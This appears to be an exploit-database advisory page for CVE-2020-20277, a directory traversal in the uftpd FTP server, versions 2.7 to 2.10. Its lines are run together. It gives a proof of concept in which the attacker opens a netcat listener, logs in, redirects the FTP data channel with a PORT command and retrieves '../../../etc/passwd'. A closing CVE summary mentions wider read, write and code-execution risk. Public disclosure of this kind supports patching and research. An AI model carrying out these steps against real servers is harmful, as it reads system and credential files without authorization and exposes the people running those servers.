Headline
uftpd 2.10 Directory Traversal
uftpd versions 2.7 through 2.10 suffer from an authenticated directory traversal vulnerability.
# Exploit Title: uftpd 2.10 - Directory Traversal (Authenticated)# Google Dork: N/A# Exploit Author: Aaron Esau (arinerron)# Vendor Homepage: https://github.com/troglobit/uftpd# Software Link: https://github.com/troglobit/uftpd# Version: 2.7 to 2.10# Tested on: Linux# CVE : CVE-2020-20277# Reference: https://nvd.nist.gov/vuln/detail/CVE-2020-20277# Reference: https://arinerron.com/blog/posts/6#Product: uftpd 2.7 to 2.10#Proof-Of-Concept:1-Arbitrary files could be read using directory traversal if the application is not running as root after authenticating. If the server has anonymous login enabled, it will be possible to read arbitrary files even without authentication. #Steps1-Setup nc listener on attacking machine on TCP port 1258nc -lnvp 12582-Login to the FTP service3-List files ftp> ls ../../../3-Set attacker's IP address and retrieve filesPORT 127,0,0,1,1,1002RETR ../../../etc/passwdRelated news
CVE-2020-20277: Aaron Esau (arinerron)
There are multiple unauthenticated directory traversal vulnerabilities in different FTP commands in uftpd FTP server versions 2.7 to 2.10 due to improper implementation of a chroot jail in common.c's compose_abspath function that can be abused to read or write to arbitrary files on the filesystem, leak process memory, or potentially lead to remote code execution.